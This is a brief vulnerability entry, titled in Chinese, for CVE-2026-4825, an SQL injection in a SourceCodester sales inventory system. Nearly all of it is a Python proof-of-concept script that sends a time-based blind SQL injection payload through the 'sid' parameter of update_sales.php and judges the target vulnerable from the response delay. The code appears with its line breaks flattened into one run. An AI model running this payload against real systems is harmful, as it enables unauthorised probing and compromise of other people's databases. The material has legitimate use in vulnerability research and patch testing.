CVE-2026-4825 SourceCodester销售库存系统SQL注入漏洞

import requests def check_sqli(target_url): """ Simple PoC to check for SQL Injection in the 'sid' parameter. """ # Payload to trigger time-based blind SQL injection payload = "?sid=1' AND SLEEP(5)-- -" full_url = target_url + payload print(f"[*] Sending request to: {full_url}") try: response = requests.get(full_url, timeout=10) # Check if the response time indicates successful injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection in 'sid' parameter detected.") else: print("[-] Target does not appear to be vulnerable.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with the actual target URL url = "http://example.com/update_sales.php" check_sqli(url)